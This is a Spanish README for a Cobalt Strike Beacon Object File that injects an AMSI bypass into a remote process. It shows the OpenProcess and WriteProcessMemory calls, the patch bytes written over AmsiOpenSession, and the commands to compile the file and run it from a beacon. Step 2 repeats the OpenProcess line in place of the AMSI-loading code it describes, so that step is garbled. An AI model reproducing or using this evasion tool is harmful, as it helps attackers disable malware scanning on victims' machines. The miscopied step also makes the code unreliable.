Cobalt Strike BOF - Inyectar omisión de AMSI
Archivo de Objeto Beacon (BOF) de Cobalt Strike que omite AMSI en un proceso remoto mediante inyección de código.
Ejecutando el BOF inject-amsiBypass desde CobaltStrike

¿Qué hace esto?
1. Usa el argumento PID proporcionado para obtener un identificador del proceso remoto
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
2. Cargar AMSI.DLL en la memoria del beacon y obtener la dirección de AMSI.AmsiOpenSession
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
- Tanto el beacon como el proceso objetivo tendrán la misma dirección para el símbolo.
- Si AMSI.DLL no existe en el proceso remoto, ejecutar esto podría bloquear el proceso objetivo.
3. Escribir la omisión de AMSI en la memoria del proceso remoto
unsigned char amsibypass[] = { 0x48, 0x31, 0xC0 }; // xor rax, rax
BOOL success = KERNEL32$WriteProcessMemory(hProc, amsiOpenSessAddr, (PVOID)amsibypass, sizeof(amsibypass), &bytesWritten);
Método = AMSI.AmsiOpenSession
- Utiliza la técnica de omisión de AMSI enseñada en el curso PEN-300/OSEP (Técnicas de Evasión y Defensas de Infracción) de Offensive Security.
Capturas de pantalla de demostración del concepto
Antes - Powershell.exe AMSI.AmsiOpenSession

Después - Powershell.exe AMSI.AmsiOpenSession

Compilar con MinGW x64:
x86_64-w64-mingw32-gcc -c inject-amsiBypass.c -o inject-amsiBypass.o
Ejecutar desde la consola del Beacon de Cobalt Strike
beacon> inject-amsiBypass <PID>
- Asegúrate de cargar el script inject-amsiBypass.cna en el Administrador de Scripts de Cobalt Strike
Lista de tareas pendientes
- Verificar que AMSI.DLL exista en el proceso remoto antes de la inyección
- Agregar otras omisiones de AMSI para inyectar
- Soporte para x86
Créditos / Referencias
Raphael Mudge - Archivos de Objeto Beacon - Demostración Luser
Cobalt Strike - Archivos de Objeto Beacon
Referencias de código BOF
ajpc500/BOFs
trustedsec/CS-Situational-Awareness-BOF
Curso Sektor7 Malware Dev Essentials
Offensive Security OSEP